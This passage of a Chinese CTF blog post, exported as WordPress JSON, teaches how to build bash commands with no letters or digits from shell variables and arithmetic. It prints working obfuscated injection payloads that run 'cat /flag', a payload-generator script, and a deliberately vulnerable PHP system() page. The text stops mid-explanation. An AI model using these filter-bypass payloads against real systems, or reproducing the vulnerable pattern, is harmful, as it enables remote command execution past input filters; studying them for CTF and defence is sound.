{"id":1127,"date":"2023-03-04T19:45:16","date_gmt":"2023-03-04T11:45:16","guid":{"rendered":"https:\/\/fushuling.com\/?p=1127"},"modified":"2023-03-04T19:45:16","modified_gmt":"2023-03-04T11:45:16","slug":"%e5%88%a9%e7%94%a8shell%e8%84%9a%e6%9c%ac%e5%8f%98%e9%87%8f%e6%9e%84%e9%80%a0%e6%97%a0%e5%ad%97%e6%af%8d%e6%95%b0%e5%ad%97%e5%91%bd%e4%bb%a4","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2023\/03\/04\/%e5%88%a9%e7%94%a8shell%e8%84%9a%e6%9c%ac%e5%8f%98%e9%87%8f%e6%9e%84%e9%80%a0%e6%97%a0%e5%ad%97%e6%af%8d%e6%95%b0%e5%ad%97%e5%91%bd%e4%bb%a4\/","title":{"rendered":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"},"content":{"rendered":"\n

\u672c\u6587\u9996\u53d1\u4e8e\u5148\u77e5\u8bba\u575b\uff1a\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4<\/a><\/p>\n\n\n\n

\u672c\u6765\u60f3\u6295\u8df3\u8df3\u7cd6\u7684\uff0c\u9646\u961f\u7ed9\u6211\u8bf4\u8df3\u8df3\u7cd6\u4e0d\u5f81\u7a3f\u4e86\uff0c\u6211\u81ea\u5df1\u53bb\u7814\u7a76\u90a3\u4e2a\u6295\u7a3f\u9875\u9762\u53d1\u73b0\u524d\u7aef\u597d\u50cf\u5bf9\u7c98\u8d34\u505a\u4e86\u5904\u7406\uff0c\u7814\u7a76\u534a\u5929\u6ca1\u7814\u7a76\u51fa\u6765\u524d\u7aef\u600e\u4e48\u5904\u7406\u7684\uff0c\u611f\u89c9\u5c31\u662f\u6210\u5fc3\u4e0d\u60f3\u8ba9\u5927\u4f19\u6295\u7a3f\ud83d\udc4d\uff0c\u672c\u6765\u8fd8\u60f3\u52a0\u4e2a\u539f\u521b\u4f5c\u8005\u7fa4\u7684\ud83d\udc4d<\/p>\n\n\n\n

\u524d\u8a00<\/h2>\n\n\n\n

\u53bb\u5e74\u5341\u4e8c\u6708\u4efd\u7684\u65f6\u5019\u6211\u5728\u5148\u77e5\u4e0a\u6295\u7a3f\u4e86\u4e00\u7bc7\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4\u6267\u884c\u9ed1\u9b54\u6cd5\u2014\u2014shell\u811a\u672c\u53d8\u91cf<\/a>\uff0c\u8bb2\u4e86\u8bb2Linux\u4e0b\u67d0\u4e9b\u73af\u5883\u53d8\u91cf\u5728\u67d0\u4e9b\u7279\u5b9a\u60c5\u51b5\u4e0b\u53ef\u4ee5\u53d1\u6325\u7684\u4f5c\u7528\uff0c\u4f46\u5f53\u65f6\u6211\u5199\u7684\u65f6\u5019\u5176\u5b9e\u5e76\u6ca1\u6709\u592a\u8fc7\u4e8e\u628a\u8fd9\u4e2a\u6280\u5de7\u653e\u5728\u5fc3\u91cc\uff0c\u56e0\u4e3a\u6211\u5f53\u65f6\u89c9\u5f97\u8fd9\u79cd\u6280\u5de7\u4e5f\u53ea\u53ef\u80fd\u5728CTF\u9898\u76ee\u4f5c\u4e3a\u4e00\u4e2a\u6709\u8da3\u7684\u8003\u70b9\u8fdb\u884c\u8003\u5bdf\uff0c\u5f88\u96be\u5728\u5b9e\u9645\u6e17\u900f\u4e2d\u53d1\u6325\u4f5c\u7528\u3002<\/p>\n\n\n\n

\u76f4\u5230\u4eca\u5e74\u505actfshow\u7684\u6781\u9650\u547d\u4ee4\u6267\u884c\u7684\u65f6\u5019\uff0c\u5b66\u4f1a\u4e86\u5229\u7528\u6570\u5b57\u6784\u9020\u5b57\u6bcd\u8fdb\u884c\u547d\u4ee4\u6267\u884c\u7684\u65b9\u6cd5\uff0c\u518d\u5230\u540e\u6765\u6c34\u7fa4\u7684\u65f6\u5019\u6709\u4e2a\u5e08\u5085\u9047\u5230\u4e86\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u81ea\u5df1\u5df2\u7ecf\u53ef\u4ee5\u547d\u4ee4\u6267\u884c\u4e86\uff0c\u4f46\u8f93\u5165\u7684\u547d\u4ee4\u5168\u90fd\u53d8\u6210\u4e86\u5c0f\u5199\uff0c\u800c\u67d0\u4e2a\u60f3\u8981\u6267\u884c\u7684\u547d\u4ee4\u5fc5\u987b\u5f97\u5927\u5199\uff0c\u90a3\u65f6\u6211\u5c31\u60f3\u5230\u65e2\u7136\u6211\u90fd\u53ef\u4ee5\u65e0\u5b57\u6bcd\u6570\u5b57rce\u4e86\uff0c\u89e3\u51b3\u5927\u5c0f\u5199\u95ee\u9898\u4e0d\u662f\u8f7b\u800c\u6613\u4e3e\uff1f\u7136\u540e\u6211\u624d\u731b\u7136\u53d1\u73b0\u5176\u5b9eshell\u811a\u672c\u53d8\u91cf\u5728\u771f\u5b9e\u7684\u6e17\u900f\u4e2d\u5176\u5b9e\u4e5f\u662f\u53ef\u4ee5\u53d1\u6325\u4f5c\u7528\u7684\uff0c\u5728\u8fd9\u91cc\u5206\u4eab\u4e00\u4e0b\u6700\u8fd1\u6211\u5b66\u5230\u7684\u77e5\u8bc6\u548c\u601d\u8003\u3002<\/p>\n\n\n\n

shell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5<\/h2>\n\n\n\n

\u548c\u4e4b\u524d\u4e00\u6837\uff0c\u9996\u5148\u4ecb\u7ecd\u4e00\u4e0bshell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5(\u53c2\u8003<\/a>)\uff1a<\/p>\n\n\n\n

\u53d8\u91cf\u540d<\/th>\u542b\u4e49<\/th><\/tr><\/thead>
$0<\/td>\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57<\/td><\/tr>
$1<\/td>\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u7b2c\u4e00\u4e32\u5b57\u7b26<\/td><\/tr>
$2<\/td>\u4f20\u9012\u7ed9\u8be5shell\u811a\u672c\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570<\/td><\/tr>
$*<\/td>\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019<\/td><\/tr>
$@<\/td>\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019<\/td><\/tr>
$_<\/td>\u8868\u793a\u4e0a\u4e00\u4e2a\u547d\u4ee4\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570<\/td><\/tr>
$#<\/td>#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570<\/td><\/tr>
$$<\/td>\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7<\/td><\/tr>
$!<\/td>\u8868\u793a\u6700\u540e\u6267\u884c\u7684\u540e\u53f0\u547d\u4ee4\u7684PID<\/td><\/tr>
$?<\/td>\u663e\u793a\u6700\u540e\u547d\u4ee4\u7684\u9000\u51fa\u72b6\u6001\uff0c0\u8868\u793a\u6ca1\u6709\u9519\u8bef\uff0c\u5176\u4ed6\u8868\u793a\u7531\u9519\u8bef<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n

Web-Bash-Vino0o0o\u7684\u6784\u9020\u601d\u8def<\/h2>\n\n\n\n

\u8fd9\u79cd\u9898\u6700\u65e9\u7684\u51fa\u5904\u5e94\u8be5\u662f2017\u5e7434c3CTF\u91cc\u7684minbashmaxfun<\/a>\uff0c\u7136\u540e2020\u5e74\u5b89\u6d35\u676f\u91cc\u6709\u4e00\u9053Web-Bash-Vino0o0o<\/a>\uff0c\u501f\u7528\u4e86\u8fd9\u79cd\u601d\u8def\uff0c\u4e0d\u8fc7\u56e0\u4e3a\u539f\u51fa\u5904\u91cc bash<<<{,,,,}<\/code>\u8fd9\u79cd\u5f62\u5f0f\u5e76\u4e0d\u80fd\u5b8c\u7f8e\u7684\u6267\u884c\u547d\u4ee4\uff0c\u6240\u4ee5\u51fa\u9898\u4eba\u91c7\u7528\u4e86\u5229\u7528\u516b\u8fdb\u5236\u5b9e\u73b0\u547d\u4ee4\u6784\u9020\u7684\u65b9\u6cd5\uff0c\u7f8e\u4e2d\u4e0d\u8db3\u7684\u662f\u90a3\u79cd\u505a\u6cd5\u5e76\u4e0d\u80fd\u505a\u5230\u4e0d\u51fa\u73b0\u6570\u5b57\uff0cpayload\u91cc\u51fa\u73b0\u4e86\u6570\u5b570\uff0c\u4f46\u90a3\u79cd\u6784\u9020\u601d\u60f3\u5f88\u6709\u8da3\uff0c\u6211\u4e5f\u662f\u987a\u7740\u90a3\u6761\u601d\u8def\u7ee7\u7eed\u6784\u9020\u7684\uff0c\u6211\u4f7f\u7528\u7684\u73af\u5883\u662fcentos\uff0c\u56e0\u6b64\u67d0\u4e9bpayload\u5176\u4ed6linux\u4e0a\u53ef\u80fd\u4e0d\u9002\u7528\u3002<\/p>\n\n\n\n

\u9996\u5148\uff0c\u5728linux\u91cc\u5b8c\u7f8e\u53ef\u4ee5\u5229\u7528\u516b\u8fdb\u5236\u7684\u65b9\u6cd5\u7ed5\u8fc7\u4e00\u4e9bban\u4e86\u5b57\u6bcd\u7684\u9898 \uff0c\u5373\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528$'\\xxx'<\/code>\u7684\u65b9\u5f0f\u6267\u884c\u547d\u4ee4\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u7528$'\\154\\163'<\/code>\u6267\u884cls\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u53ef\u4ee5\u53d1\u73b0\u6709\u4e86\u8fd9\u79cd\u6280\u5de7\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u6570\u5b57\u53ef\u7528\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u547d\u4ee4\u6784\u9020\u3002<\/p>\n\n\n\n

\u9664\u6b64\u4e4b\u5916\u5728bash\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528[base#]n<\/code>\u7684\u65b9\u5f0f\u8868\u793a\u6570\u5b57\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u53ef\u4ee5\u75282#100<\/code>\u8868\u793a\u5341\u8fdb\u5236\u6570\u5b574\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u56e0\u6b64\u4ece\u8fd9\u91cc\u6211\u4eec\u53c8\u5411\u524d\u63a8\u8fdb\u4e86\u4e00\u6b65\uff0c\u53ea\u6709\u6211\u4eec\u6709\u6570\u5b571\u6216\u80050\u90a3\u5c31\u53ef\u4ee5\u7ee7\u7eed\u6784\u9020\u547d\u4ee4\u3002\u5047\u5982\u73b0\u5728\u5b57\u6bcd\u6216\u8005\u6570\u5b57\u53ea\u67091\u548c0\u53ef\u4ee5\u7528\uff0c\u8fd9\u65f6\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4f4d\u79fb\u8fd0\u7b971<<1\u4ee3\u66ff2\uff0c\u5f97\u5230payload\uff1a<\/p>\n\n\n\n

$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'<\/code><\/pre>\n\n\n\n
\u7406\u8bba\u4e0a\u5b83\u53ef\u4ee5\u4ee3\u66ff$'\\154\\163'<\/code>\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u662f\u4e0d\u884c\u7684\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u53ea\u89e3\u6790\u4e86\u4e00\u5c42\u89e3\u6790\u5230$'\\154\\163'<\/code>\u5c31\u89e3\u6790\u4e0d\u4e0b\u53bb\u4e86\uff0c\u60f3\u8981\u5b83\u7ee7\u7eed\u89e3\u6790\uff0c\u6211\u4eec\u4e0d\u96be\u60f3\u5230Linux\u91cc\u7684eval\u51fd\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u53ef\u60dc\u6211\u4eec\u662f\u4e0d\u80fd\u4f7f\u7528\u5b83\u7684\uff0c\u6240\u4ee5\u8fd8\u662f\u5f97\u8001\u8001\u5b9e\u5b9e\u7684\u75281\u6216\u80050\u6784\u9020\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u60f3\u5230bash\u91cc\u7684\u4e00\u79cd\u8bed\u6cd5\uff1acommand [args] <<<[“]$word[“]\uff0c\u5728\u8fd9\u79cd\u8bed\u6cd5\u4e0b$word\u4f1a\u5c55\u5f00\u5e76\u4f5c\u4e3acommand\u7684stdin\uff0c\u4ee5\u6b64\u6765\u7ee7\u7eed\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u73b0\u5728\u6709\u4e2a\u95ee\u9898\uff0c\u5c31\u662f\u7528\u4ec0\u4e48\u6765\u4ee3\u66ffbash\uff0c\u8fd9\u65f6\u53ef\u4ee5\u60f3\u5230\u6211\u4e4b\u524d\u6587\u7ae0\u91cc\u63d0\u5230\u8fc7\u7684\u4e00\u4e2a\u73af\u5883\u53d8\u91cf$0\uff0c\u5b83\u53ef\u4ee5\u8868\u793a\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57\uff0c\u800c\u8fd9\u91cc\u6b63\u662fbash\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\u6211\u4eec\u4e0d\u96be\u60f3\u51fa\u4e00\u79cd\u6784\u9020\u65b9\u5f0f\u6765\uff1a<\/p>\n\n\n\n
$0<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'<\/a><\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6210\u529f\u6267\u884c\uff01\u5047\u5982\u8fd9\u662f\u4e00\u9053CTF\u9898\uff0c\u6211\u4eec\u5c31\u8be5\u60f3\u60f3\u600e\u4e48\u6267\u884ccat \/flag\u4e86\uff0c\u4f60\u60f3\u5230\u7684payload\u53ef\u80fd\u662f\uff1a<\/p>\n\n\n\n
$0<<<$\\'\\\\$(($((1<<1))#10001111))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10100100))\\\\$(($((1<<1))#101000))\\\\$(($((1<<1))#111001))\\\\$(($((1<<1))#10010010))\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10010011))\\'<\/code><\/pre>\n\n\n\n
\u9057\u61be\u7684\u662f\uff0c\u8fd9\u79cdpayload\u5e76\u4e0d\u80fd\u6267\u884c\u6210\u529f\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
bash\u4f1a\u544a\u8bc9\u4f60\u4e0d\u5b58\u5728cat \/flag<\/code>\u8fd9\u79cd\u6587\u4ef6\u6216\u8005\u76ee\u5f55\uff0c\u5f88\u660e\u663e\uff0cbash\u662f\u628a\u5b83\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\u4e86\uff0c\u5e76\u6ca1\u6709\u6709\u6548\u7684\u4ee5\u7a7a\u683c\u4f5c\u4e3a\u5206\u5272\uff0c\u8ba9cat\u4f5c\u4e3a\u547d\u4ee4\uff0c\/flag\u4f5c\u4e3a\u53c2\u6570\uff0c\u5728ctfshow\u7684\u6781\u9650\u547d\u4ee4\u6267\u884c\u9898\u76ee\u91ccg4\u5e08\u5085\u7ed9\u51fa\u4e86\u4e00\u79cd\u89e3\u51b3\u8fd9\u79cd\u95ee\u9898\u7684\u65b9\u6cd5\u2014\u2014\u901a\u8fc7\u4e24\u6b21here-strings\u7684\u65b9\u6cd5\u6765\u89e3\u6790\u590d\u6742\u7684\u5e26\u53c2\u6570\u547d\u4ee4\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u53ef\u4ee5\u628apayload\u6539\u6210\uff1a<\/p>\n\n\n\n
$0<<<$0\\<\\<\\<\\$\\'\\\\$(($((1<<1))#10001111))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10100100))\\\\$(($((1<<1))#101000))\\\\$(($((1<<1))#111001))\\\\$(($((1<<1))#10010010))\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10001101))\\\\$(($((1<<1))#10010011))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6267\u884c\u6210\u529f\uff0c\u6211\u4eec\u62ff\u5230\u4e86flag\uff0c\u4f46\u53ef\u4ee5\u770b\u5230\u8fd9\u79cd\u6784\u9020\u65b9\u5f0f\u4e0d\u591f\u6781\u9650\uff0c\u91cc\u9762\u4e0d\u4f46\u51fa\u73b00\u66f4\u51fa\u73b0\u4e861\uff0c\u4e0b\u9762\uff0c\u6211\u4eec\u5f00\u59cb\u6784\u9020\u771f\u6b63\u7684\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4\u3002<\/p>\n\n\n\n
\u5229\u7528$#\u6784\u9020<\/h2>\n\n\n\n
\u5728\u4e4b\u524d\u90a3\u7bc7\u6587\u7ae0\u91cc\u6211\u4e5f\u63d0\u5230\u8fc7$#<\/code>\u8fd9\u4e2a\u53d8\u91cf\uff0c\u5b83\u53ef\u4ee5\u8868\u793a#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5982\u679c#\u540e\u9762\u5565\u4e5f\u6ca1\u6709\u5b83\u5c31\u662f0\uff0c\u6709\u4e00\u4e2a\u5b57\u7b26\u4e32\u6bd4\u5982#\u5c31\u53d8\u6210\u4e861\uff0c\u4f3c\u4e4e\u73b0\u5728\u6211\u4eec\u53ea\u8981\u628a1\u7528${##}\u66ff\u6362\uff0c0\u7528${#}\u66ff\u6362\u5373\u53ef\uff1a<\/p>\n\n\n\n
$${#}<<<$${#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u60dc\u8fd9\u79cd\u6267\u884c\u65b9\u6cd5\u662f\u4e0d\u884c\u7684\uff0c\u56e0\u4e3a\u867d\u7136$0\u8868\u793abash\uff0c${#}\u8868\u793a0\uff0c\u4f46\u628a\u5b83\u4eec\u62fc\u8d77\u6765\u5e76\u4e0d\u8868\u793abash\uff0c\u8fd9\u91cc$$\u76f4\u63a5\u6267\u884c\u4e86\uff0c\u610f\u601d\u662f\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7\u3002\u4e0b\u4e00\u6b65\u4f60\u53ef\u80fd\u4f1a\u60f3\u5230linux\u91cc\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\uff0c\u4f46\u8fd9\u79cd\u62fc\u63a5\u4e5f\u53ea\u4f1a\u89e3\u6790\u7b2c\u4e00\u5c42\uff0c\u4e0d\u4f1a\u89e3\u6790\u5230\u6700\u540e\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u65f6\u6211\u4eec\u53ef\u4ee5\u60f3\u5230linux\u4e0b\u611f\u53f9\u53f7!\u7684\u4e00\u79cd\u7528\u6cd5\uff0c\u5b83\u53ef\u4ee5\u8fdb\u884c\u53d8\u91cf\u66ff\u6362\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\u7406\u8bba\u4e0a\u6211\u4eec\u53ea\u8981\u627e\u5230\u4e00\u4e2a\u503c\u4e3a\u96f6\u7684\u53d8\u91cf\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u7528\u8fd9\u79cd\u65b9\u6cd5\u8fdb\u884c\u53d8\u91cf\u66ff\u6362\u5f97\u5230$0\uff0c\u5e76\u4e14\u8fd8\u80fd\u6210\u529f\u89e3\u6790\uff0c\u8fd9\u65f6\u6211\u4eec\u5f88\u5bb9\u6613\u60f3\u5230\u521a\u521a\u4f7f\u7528\u7684${#}\uff0c\u6bd5\u7adf\u5b83\u7684\u503c\u5c31\u662f\u96f6\u561b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u786e\u5b9e\u80fd\u5f97\u5230bash\uff0c\u6211\u4eec\u518d\u6b21\u66ff\u6362\u56de\u53bb\uff0c\u53ef\u4ee5\u5f97\u5230\u65b0payload\uff1a<\/p>\n\n\n\n
${!#}<<<${!#}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6267\u884c\u6210\u529f\uff01\u4f46\u5c31\u8fd9\u6837\u8fd8\u6ca1\u5b8c\uff0c\u6bd5\u7adf\u8fd9\u4e2apayload\u7406\u8bba\u4e0a\u53ea\u662f\u672c\u5730\u53ef\u4ee5\u4f7f\u7528\uff0c\u50cf\u90a3\u9053\u9898\u539f\u672c\u7684php\u73af\u5883\u91cc\u7a76\u7adf\u80fd\u4e0d\u80fd\u6210\u529f\u6267\u884c\u8fd8\u662f\u4e2a\u672a\u77e5\u6570\uff0c\u6211\u4eec\u8d77\u4e2a\u672c\u5730\u73af\u5883\uff1a<\/p>\n\n\n\n
<?php\nif(isset($_POST['cmd'])){\n    $cmd = $_POST['cmd'];\n    if(preg_match(\"\/[A-Za-z0-9]+\/\",$cmd)){\n        die(\"NO.\");\n    }\n    system($cmd);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n
\u628apayload\u4f20\u8fc7\u53bb\u8bd5\u8bd5\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u60dc\uff0c\u8fd9\u79cd\u65b9\u6cd5\u5728php\u91cc\u662f\u4e0d\u6210\u529f\u7684\u3002\u4f46\u8fd9\u79cdpayload\u5e76\u4e0d\u662f\u5b8c\u5168\u4e0d\u884c\uff0c\u7ecf\u8fc7\u6211\u7684\u7814\u7a76\uff0cpayload\u5176\u5b9e\u53ea\u662f${!#}<<<${!#}\u8fd9\u4e00\u6bb5\u6ca1\u89e3\u6790\u51fa\u6765bash<<<bash\uff0c\u6240\u4ee5\u5bfc\u81f4\u547d\u4ee4\u5931\u6548\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u628a\u5b83\u66ff\u6362\u6210$0<<<$0\u5176\u5b9ephp\u4e5f\u884c\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u9762\u7684\u5177\u4f53\u539f\u56e0\u6211\u4e5f\u4e0d\u662f\u5f88\u61c2\uff0c\u81ea\u6211\u611f\u89c9\u53ef\u80fd\u662f${!#}\u8fd9\u79cd\u590d\u6742\u53d8\u91cf\u4e0d\u80fd\u901a\u8fc7php\u7684system\u51fd\u6570\u89e3\u6790\u51fa\u6765\uff0c\u4e8e\u662f\u6211\u628a\u5b83\u6362\u4e86\u4e00\u79cd\u5f62\u5f0f\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5176\u5b9e\u672c\u8d28\u4e0a\u4e5f\u6ca1\u5565\u5dee\u522b\uff0c\u6211\u53ea\u662f\u589e\u52a0\u4e86\u53d8\u91cf$__\u4f5c\u4e3a\u8fc7\u6e21\uff0c\u51cf\u5c11\u4e86\u89e3\u6790\u7684\u8fc7\u7a0b\uff0c\u4f46\u60ca\u559c\u7684\u662f\u8fd9\u79cd\u65b9\u6cd5\u5373\u4f7f\u662f\u5728php\u4e0b\u4e5f\u53ef\u4ee5\u6210\u529f\u89e3\u6790\uff1a<\/p>\n\n\n\n
__=${#};${!__}<<<${!__}\\<\\<\\<\\$\\'\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u811a\u672c\uff1a<\/p>\n\n\n\n
cmd='cat \/flag'\n\npayload='__=${#};${!__}<<<${!__}\\\\<\\\\<\\\\<\\\\$\\\\\\''\nfor c in cmd:\n        payload+=f'\\\\\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${##}').replace('0','${#}')\n\npayload+='\\\\\\''\n\nprint(payload)<\/code><\/pre>\n\n\n\n
\u987a\u7740\u8fd9\u79cd\u601d\u8def\uff0c\u6211\u5f00\u59cb\u601d\u8003\u5176\u4ed6\u6784\u9020\u65b9\u5f0f\u3002<\/p>\n\n\n\n
\u5229\u7528$?\u6784\u9020<\/h2>\n\n\n\n
\u4ece\u4e0a\u4e00\u6b21\u6784\u9020\u6211\u4eec\u5176\u5b9e\u53ef\u4ee5\u53d1\u73b0\uff0c\u53ea\u8981\u6211\u4eec\u627e\u5230\u4e00\u4e2a\u4ee3\u8868\u503c\u4e3a\u96f6\u7684\u53d8\u91cf\u5c31\u53ef\u4ee5\u5f97\u5230bash\u8fdb\u800c\u7ee7\u7eed\u6784\u9020\uff0c$?\u8fd9\u4e2a\u53d8\u91cf\u81ea\u7136\u800c\u7136\u8fdb\u5165\u6211\u7684\u89c6\u7ebf\uff0c\u5b83\u53ef\u4ee5\u663e\u793a\u6700\u540e\u547d\u4ee4\u7684\u9000\u51fa\u72b6\u6001\uff0c0\u8868\u793a\u6ca1\u6709\u9519\u8bef\uff0c\u5176\u4ed6\u8868\u793a\u6709\u9519\u8bef \uff0c\u56e0\u6b64\u53ea\u8981\u6211\u4eec\u7684payload\u6700\u540e\u4e0d\u62a5\u9519\u5b83\u7684\u503c\u81ea\u7136\u8fd8\u662f0\u4e86\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u6211\u4eec\u4e0a\u9762\u7684payload\u53ef\u4ee5\u53d1\u73b0\u5176\u5b9e\u9700\u8981\u7684\u6570\u5b57\u4e5f\u5c310\u30011\u548c2\uff0c2\u53ef\u4ee5\u75311<<1\u6784\u9020\u51fa\u6765\uff0c\u53ef\u4ee5\u7701\u7565\u3002\u4e0d\u8fc7\u7531\u4e8e$?\u5e76\u4e0d\u50cf$#\u4e00\u6837\u7075\u6d3b\uff0c\u53ef\u4ee5\u968f\u610f\u6784\u9020\u51fa\u6765\u4efb\u4f55\u6570\u5b57\uff0c\u6240\u4ee5\u6211\u4e3a\u4e86\u51cf\u8f7b\u9ebb\u70e6\u4f7f\u7528\u81ea\u589e\u8fd0\u7b97\u6784\u9020\u51fa\u4e861\uff0c2\u8fd9\u4e24\u4e2a\u6570\u5b57\uff0c\u73b0\u5728\u5c31\u5df2\u7ecf\u8db3\u591f\u4e86\uff0cpayload\uff1a<\/p>\n\n\n\n
